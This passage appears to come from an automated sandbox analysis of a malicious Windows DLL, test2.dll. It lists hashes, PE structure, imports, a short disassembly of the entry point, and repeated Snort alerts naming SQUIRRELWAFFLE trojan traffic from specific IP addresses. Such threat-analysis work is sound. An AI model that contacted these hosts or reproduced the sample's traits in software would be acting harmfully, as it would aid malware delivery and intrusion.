	qtmzbn	Get hash	malicious	Browse	206.189.0.103
	qvmxvl	Get hash	malicious	Browse	206.189.0.103
	razdzn	Get hash	malicious	Browse	206.189.0.103
	vvglma	Get hash	malicious	Browse	206.189.0.103
	earyzq	Get hash	malicious	Browse	206.189.0.103

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	2.192405116345016
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	test2.dll
File size:	486676
MD5:	267aa0f6d02c470db4951b3d9b80d8f7
SHA1:	a9627760018699a0ce48499fd58b43e3d33c51c7
SHA256:	da031faf0a918be7bf90705dac2ce63cfda65226360202ac1d53a6849592e9b3
SHA512:	cf0ab54048b096bf05bc4f222473a962f2e18133e195165b582f041ee3b38536cc4e67a49dcc762c838aaeafcd164d63765ac42d58762db9f21217c12bc4eff6
SSDEEP:	3072:rZnBbPe1aHYouWDfsppnwh2l4kdQXHq7pkOoAR:9JCeTfspV/l4kmXqqOoA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....;a...........!.....t....U..............................................@W.........................................p..

File Icon


Icon Hash:	00646664c4c43040

Static PE Info

General
Entrypoint:	0x10001000
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:
Time Stamp:	0x613B8C85 [Fri Sep 10 16:49:09 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	11f1a73b190c12f534eff8a5c7e4f9b9

Entrypoint Preview

Instruction
push 00000000h
push ebp
mov ebp, esp
add esp, FFFFFFFCh
call 00007FF310E067D6h
cmp ebx, eax
je 00007FF310E06143h
pushad
add edi, ebx
inc ecx
add ecx, eax
push eax
push ecx
push 00000025h
cmp dword ptr [ebx+0041B17Eh], 00000000h
jne 00007FF310E05FDEh
push 00000000h
call dword ptr [ebx+0491C0FCh]
push ebp
and ebp, 00000000h
xor ebp, eax
and dword ptr [ebx+0041B17Eh], 00000000h
xor dword ptr [ebx+0041B17Eh], ebp
pop ebp
push 00000025h
cmp dword ptr [ebx+0041B91Fh], 00000000h
jne 00007FF310E05FECh
push dword ptr [ebx+0041B60Dh]
push dword ptr [ebx+0041B43Dh]
call dword ptr [ebx+0491C100h]
mov dword ptr [ebp-04h], edx
and edx, 00000000h
xor edx, eax
and dword ptr [ebx+0041B91Fh], 00000000h
or dword ptr [ebx+0041B91Fh], edx
mov edx, dword ptr [ebp-04h]
call 00007FF310E090ADh
cmp dword ptr [ebx+0041B5ADh], 00000000h
jne 00007FF310E05FD8h
call dword ptr [ebx+0491C074h]
push 00000000h
mov dword ptr [esp], ecx
xor ecx, ecx
or ecx, eax
mov dword ptr [ebx+0041B5ADh], ecx
pop ecx
push 00000040h
cmp dword ptr [ebx+0041B92Bh], 00000000h
jne 00007FF310E05FDCh
call dword ptr [ebx+0491C074h]
push ebp
and ebp, 00000000h
or ebp, eax
and dword ptr [ebx+0041B92Bh], 00000000h
or dword ptr [ebx+0041B92Bh], ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x19000	0x70	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x451c168	0x168	.rdatat
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x451d000	0x111fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x451c000	0x168	.rdatat
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1732c	0x17400	False	0.449197748656	data	5.951633822	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.edata	0x19000	0x70	0x200	False	0.140625	data	0.902592607205	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1a000	0x1000	0x600	False	0.0130208333333	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.data	0x1b000	0x4500ddf	0x4e00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rdatat	0x451c000	0xa50	0xc00	False	0.4033203125	data	4.66326951384	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x451d000	0x111fc	0x11200	False	0.0835424270073	data	2.52859161709	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.gksm	0x452f000	0x45000	0x45000	False	0.00105086616848	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x451d178	0x10828	dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0
RT_DIALOG	0x452d9a0	0xf4	data
RT_STRING	0x452da94	0x5c4	data
RT_GROUP_ICON	0x452e058	0x16	data
RT_MANIFEST	0x452e070	0x18a	XML 1.0 document, ASCII text

Imports

DLL	Import
kernel32.dll	GetProcAddress, LoadLibraryA, VirtualAlloc, VirtualProtect, GetCurrentThread, GetLastError, lstrlenA, GetProcessId, VerLanguageNameW, EnumDateFormatsW
user32.dll	GetKeyboardType, GetWindowThreadProcessId, GetGUIThreadInfo, ReleaseCapture, ReleaseDC, GetWindowDC, ChangeDisplaySettingsA, GetRawInputDeviceInfoA, GetClipboardOwner, DlgDirSelectComboBoxExA
gdi32.dll	GetHFONT, DdEntry54, Polygon
msimg32.dll	TransparentBlt, AlphaBlend, DllInitialize
oledlg.dll	OleUIInsertObjectA, OleUIAddVerbMenuA, OleUIPromptUserW, OleUIBusyA
advapi32.dll	GetServiceKeyNameA, LogonUserW, ControlTraceA, LookupAccountNameA
gdiplus.dll	GdipGetFontSize, GdipCloneBitmapArea, GdipDeleteMatrix, GdipCloneRegion, GdipCreateBitmapFromGdiDib
oleaut32.dll	VarSub, ClearCustData, VarFormatDateTime, VarI1FromDate, VarCyInt, VarPow, VarUI4FromUI1
winspool.drv	AddPrinterW, AdvancedDocumentPropertiesA, DeviceCapabilitiesA
comctl32.dll	InitializeFlatSB, ImageList_Draw
imagehlp.dll	ReBaseImage, SymFindFileInPath
version.dll	VerQueryValueA, GetFileVersionInfoSizeW, VerInstallFileW
winmm.dll	waveOutGetPitch, waveInGetErrorTextW, mixerGetDevCapsA, midiInReset, midiOutOpen, joySetCapture, mciFreeCommandResource
comdlg32.dll	ChooseColorA, FindTextA
oleacc.dll	ObjectFromLresult, CreateStdAccessibleProxyW, DllCanUnloadNow
ole32.dll	WriteClassStm, CoMarshalHresult, HMETAFILEPICT_UserMarshal

Exports

Name	Ordinal	Address
GetSound	1	0x100555f6

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
10/04/21-16:01:10.123658	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49755	198.38.82.168	192.168.2.3
10/04/21-16:01:10.123658	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49755	198.38.82.168	192.168.2.3
10/04/21-16:01:11.074911	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49757	198.38.82.168	192.168.2.3
10/04/21-16:01:11.074911	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49757	198.38.82.168	192.168.2.3
10/04/21-16:01:11.974344	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49759	198.38.82.168	192.168.2.3
10/04/21-16:01:11.974344	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49759	198.38.82.168	192.168.2.3
10/04/21-16:01:11.996862	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49760	198.38.82.168	192.168.2.3
10/04/21-16:01:11.996862	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49760	198.38.82.168	192.168.2.3
10/04/21-16:01:12.955236	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49761	198.38.82.168	192.168.2.3
10/04/21-16:01:12.955236	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49761	198.38.82.168	192.168.2.3
10/04/21-16:01:13.081686	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49762	198.38.82.168	192.168.2.3
10/04/21-16:01:13.081686	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49762	198.38.82.168	192.168.2.3
10/04/21-16:01:13.962722	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49763	198.38.82.168	192.168.2.3
10/04/21-16:01:13.962722	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49763	198.38.82.168	192.168.2.3
10/04/21-16:01:14.120013	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49764	198.38.82.168	192.168.2.3
10/04/21-16:01:14.120013	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49764	198.38.82.168	192.168.2.3
10/04/21-16:01:14.938432	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49765	198.38.82.168	192.168.2.3
10/04/21-16:01:14.938432	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49765	198.38.82.168	192.168.2.3
10/04/21-16:01:14.953471	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49766	198.38.82.168	192.168.2.3
10/04/21-16:01:14.953471	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49766	198.38.82.168	192.168.2.3
10/04/21-16:01:15.879810	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49768	198.38.82.168	192.168.2.3
10/04/21-16:01:15.879810	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49768	198.38.82.168	192.168.2.3
10/04/21-16:01:15.924535	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49767	198.38.82.168	192.168.2.3
10/04/21-16:01:15.924535	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49767	198.38.82.168	192.168.2.3
10/04/21-16:01:16.784605	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49770	198.38.82.168	192.168.2.3
10/04/21-16:01:16.784605	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49770	198.38.82.168	192.168.2.3
10/04/21-16:01:16.799923	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49769	198.38.82.168	192.168.2.3
10/04/21-16:01:16.799923	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49769	198.38.82.168	192.168.2.3
10/04/21-16:01:17.697683	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49772	198.38.82.168	192.168.2.3
10/04/21-16:01:17.697683	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49772	198.38.82.168	192.168.2.3
10/04/21-16:01:17.716084	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49771	198.38.82.168	192.168.2.3
10/04/21-16:01:17.716084	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49771	198.38.82.168	192.168.2.3
10/04/21-16:01:18.615554	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49773	198.38.82.168	192.168.2.3
10/04/21-16:01:18.615554	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49773	198.38.82.168	192.168.2.3
10/04/21-16:01:18.639976	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49774	198.38.82.168	192.168.2.3
10/04/21-16:01:18.639976	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49774	198.38.82.168	192.168.2.3
10/04/21-16:01:19.942084	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49775	198.38.82.168	192.168.2.3
10/04/21-16:01:19.942084	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49775	198.38.82.168	192.168.2.3
10/04/21-16:01:19.941988	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49776	198.38.82.168	192.168.2.3
10/04/21-16:01:19.941988	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49776	198.38.82.168	192.168.2.3
10/04/21-16:01:21.618535	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49777	198.38.82.168	192.168.2.3
10/04/21-16:01:21.618535	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49777	198.38.82.168	192.168.2.3
10/04/21-16:01:21.879232	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49778	198.38.82.168	192.168.2.3
10/04/21-16:01:21.879232	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49778	198.38.82.168	192.168.2.3
10/04/21-16:01:24.473870	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49780	198.38.82.168	192.168.2.3
10/04/21-16:01:24.473870	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49780	198.38.82.168	192.168.2.3
10/04/21-16:01:24.479283	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49779	198.38.82.168	192.168.2.3
10/04/21-16:01:24.479283	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49779	198.38.82.168	192.168.2.3
10/04/21-16:01:25.366282	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49781	198.38.82.168	192.168.2.3
10/04/21-16:01:25.366282	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49781	198.38.82.168	192.168.2.3
10/04/21-16:01:25.686085	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49782	198.38.82.168	192.168.2.3
10/04/21-16:01:25.686085	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49782	198.38.82.168	192.168.2.3
10/04/21-16:01:26.201458	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49783	198.38.82.168	192.168.2.3
10/04/21-16:01:26.201458	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49783	198.38.82.168	192.168.2.3
10/04/21-16:01:26.668870	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49784	198.38.82.168	192.168.2.3
10/04/21-16:01:26.668870	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49784	198.38.82.168	192.168.2.3
10/04/21-16:01:27.086171	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49787	198.38.82.168	192.168.2.3
10/04/21-16:01:27.086171	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49787	198.38.82.168	192.168.2.3
10/04/21-16:01:27.741322	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49788	198.38.82.168	192.168.2.3
10/04/21-16:01:27.741322	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49788	198.38.82.168	192.168.2.3
10/04/21-16:01:28.081546	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49789	198.38.82.168	192.168.2.3
10/04/21-16:01:28.081546	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49789	198.38.82.168	192.168.2.3
10/04/21-16:01:28.826031	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49790	198.38.82.168	192.168.2.3
10/04/21-16:01:28.826031	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49790	198.38.82.168	192.168.2.3
10/04/21-16:01:28.897033	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49791	198.38.82.168	192.168.2.3
10/04/21-16:01:28.897033	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49791	198.38.82.168	192.168.2.3
10/04/21-16:01:29.700381	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49792	198.38.82.168	192.168.2.3
10/04/21-16:01:29.700381	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49792	198.38.82.168	192.168.2.3
10/04/21-16:01:29.850939	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49793	198.38.82.168	192.168.2.3
10/04/21-16:01:29.850939	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49793	198.38.82.168	192.168.2.3
10/04/21-16:01:30.570601	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49794	198.38.82.168	192.168.2.3
10/04/21-16:01:30.570601	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49794	198.38.82.168	192.168.2.3
10/04/21-16:01:30.851518	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49795	198.38.82.168	192.168.2.3
10/04/21-16:01:30.851518	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49795	198.38.82.168	192.168.2.3
10/04/21-16:01:32.083702	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49797	198.38.82.168	192.168.2.3
10/04/21-16:01:32.083702	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49797	198.38.82.168	192.168.2.3
10/04/21-16:01:32.099289	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49796	198.38.82.168	192.168.2.3
10/04/21-16:01:32.099289	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49796	198.38.82.168	192.168.2.3
10/04/21-16:01:33.171526	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49798	198.38.82.168	192.168.2.3
10/04/21-16:01:33.171526	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49798	198.38.82.168	192.168.2.3
10/04/21-16:01:33.267220	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49799	198.38.82.168	192.168.2.3
10/04/21-16:01:33.267220	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49799	198.38.82.168	192.168.2.3
10/04/21-16:01:33.987909	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49800	198.38.82.168	192.168.2.3
10/04/21-16:01:33.987909	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49800	198.38.82.168	192.168.2.3
10/04/21-16:01:34.205631	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49801	198.38.82.168	192.168.2.3
10/04/21-16:01:34.205631	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49801	198.38.82.168	192.168.2.3
10/04/21-16:01:34.984870	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49802	198.38.82.168	192.168.2.3
10/04/21-16:01:34.984870	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49802	198.38.82.168	192.168.2.3
10/04/21-16:01:35.138316	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49803	198.38.82.168	192.168.2.3
10/04/21-16:01:35.138316	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49803	198.38.82.168	192.168.2.3
10/04/21-16:01:35.892087	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49804	198.38.82.168	192.168.2.3
10/04/21-16:01:35.892087	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49804	198.38.82.168	192.168.2.3
10/04/21-16:01:36.186469	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49805	198.38.82.168	192.168.2.3
10/04/21-16:01:36.186469	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49805	198.38.82.168	192.168.2.3
10/04/21-16:01:36.666610	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49806	198.38.82.168	192.168.2.3
10/04/21-16:01:36.666610	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49806	198.38.82.168	192.168.2.3
10/04/21-16:01:37.075926	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49807	198.38.82.168	192.168.2.3
10/04/21-16:01:37.075926	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49807	198.38.82.168	192.168.2.3
10/04/21-16:01:37.559593	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49808	198.38.82.168	192.168.2.3
10/04/21-16:01:37.559593	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49808	198.38.82.168	192.168.2.3
10/04/21-16:01:37.981707	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49809	198.38.82.168	192.168.2.3
10/04/21-16:01:37.981707	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49809	198.38.82.168	192.168.2.3
10/04/21-16:01:38.446457	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49810	198.38.82.168	192.168.2.3
10/04/21-16:01:38.446457	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49810	198.38.82.168	192.168.2.3
10/04/21-16:01:38.905348	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49811	198.38.82.168	192.168.2.3
10/04/21-16:01:38.905348	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49811	198.38.82.168	192.168.2.3
10/04/21-16:01:39.278094	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49812	198.38.82.168	192.168.2.3
10/04/21-16:01:39.278094	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49812	198.38.82.168	192.168.2.3
10/04/21-16:01:39.830125	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49813	198.38.82.168	192.168.2.3
10/04/21-16:01:39.830125	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49813	198.38.82.168	192.168.2.3
10/04/21-16:01:40.227290	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49814	198.38.82.168	192.168.2.3
10/04/21-16:01:40.227290	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49814	198.38.82.168	192.168.2.3
10/04/21-16:01:40.780449	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49815	198.38.82.168	192.168.2.3
10/04/21-16:01:40.780449	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49815	198.38.82.168	192.168.2.3
10/04/21-16:01:41.151342	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49816	198.38.82.168	192.168.2.3
10/04/21-16:01:41.151342	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49816	198.38.82.168	192.168.2.3
10/04/21-16:01:41.647190	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49817	198.38.82.168	192.168.2.3
10/04/21-16:01:41.647190	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49817	198.38.82.168	192.168.2.3
10/04/21-16:01:41.999989	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49818	198.38.82.168	192.168.2.3
10/04/21-16:01:41.999989	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49818	198.38.82.168	192.168.2.3
10/04/21-16:01:42.845385	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49820	198.38.82.168	192.168.2.3
10/04/21-16:01:42.845385	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49820	198.38.82.168	192.168.2.3
10/04/21-16:01:42.854424	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49819	198.38.82.168	192.168.2.3
10/04/21-16:01:42.854424	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49819	198.38.82.168	192.168.2.3
10/04/21-16:01:43.779874	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49821	198.38.82.168	192.168.2.3
10/04/21-16:01:43.779874	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49821	198.38.82.168	192.168.2.3
10/04/21-16:01:43.815269	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49822	198.38.82.168	192.168.2.3
10/04/21-16:01:43.815269	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49822	198.38.82.168	192.168.2.3
10/04/21-16:01:44.670607	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49823	198.38.82.168	192.168.2.3
10/04/21-16:01:44.670607	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49823	198.38.82.168	192.168.2.3
10/04/21-16:01:44.762088	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49824	198.38.82.168	192.168.2.3
10/04/21-16:01:44.762088	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49824	198.38.82.168	192.168.2.3
10/04/21-16:01:45.555627	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49825	198.38.82.168	192.168.2.3
10/04/21-16:01:45.555627	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49825	198.38.82.168	192.168.2.3
10/04/21-16:01:45.578390	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49826	198.38.82.168	192.168.2.3
10/04/21-16:01:45.578390	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49826	198.38.82.168	192.168.2.3
10/04/21-16:01:46.415032	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49828	198.38.82.168	192.168.2.3
10/04/21-16:01:46.415032	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49828	198.38.82.168	192.168.2.3
10/04/21-16:01:46.458635	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49827	198.38.82.168	192.168.2.3
10/04/21-16:01:46.458635	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49827	198.38.82.168	192.168.2.3
10/04/21-16:01:47.530821	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49829	198.38.82.168	192.168.2.3
10/04/21-16:01:47.530821	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49829	198.38.82.168	192.168.2.3
10/04/21-16:01:47.670283	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49830	198.38.82.168	192.168.2.3
10/04/21-16:01:47.670283	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49830	198.38.82.168	192.168.2.3
10/04/21-16:01:48.516247	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49831	198.38.82.168	192.168.2.3
10/04/21-16:01:48.516247	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49831	198.38.82.168	192.168.2.3
10/04/21-16:01:48.577910	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49832	198.38.82.168	192.168.2.3
10/04/21-16:01:48.577910	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49832	198.38.82.168	192.168.2.3
10/04/21-16:01:49.397287	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49833	198.38.82.168	192.168.2.3
10/04/21-16:01:49.397287	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49833	198.38.82.168	192.168.2.3
10/04/21-16:01:49.687395	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49836	198.38.82.168	192.168.2.3
10/04/21-16:01:49.687395	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49836	198.38.82.168	192.168.2.3
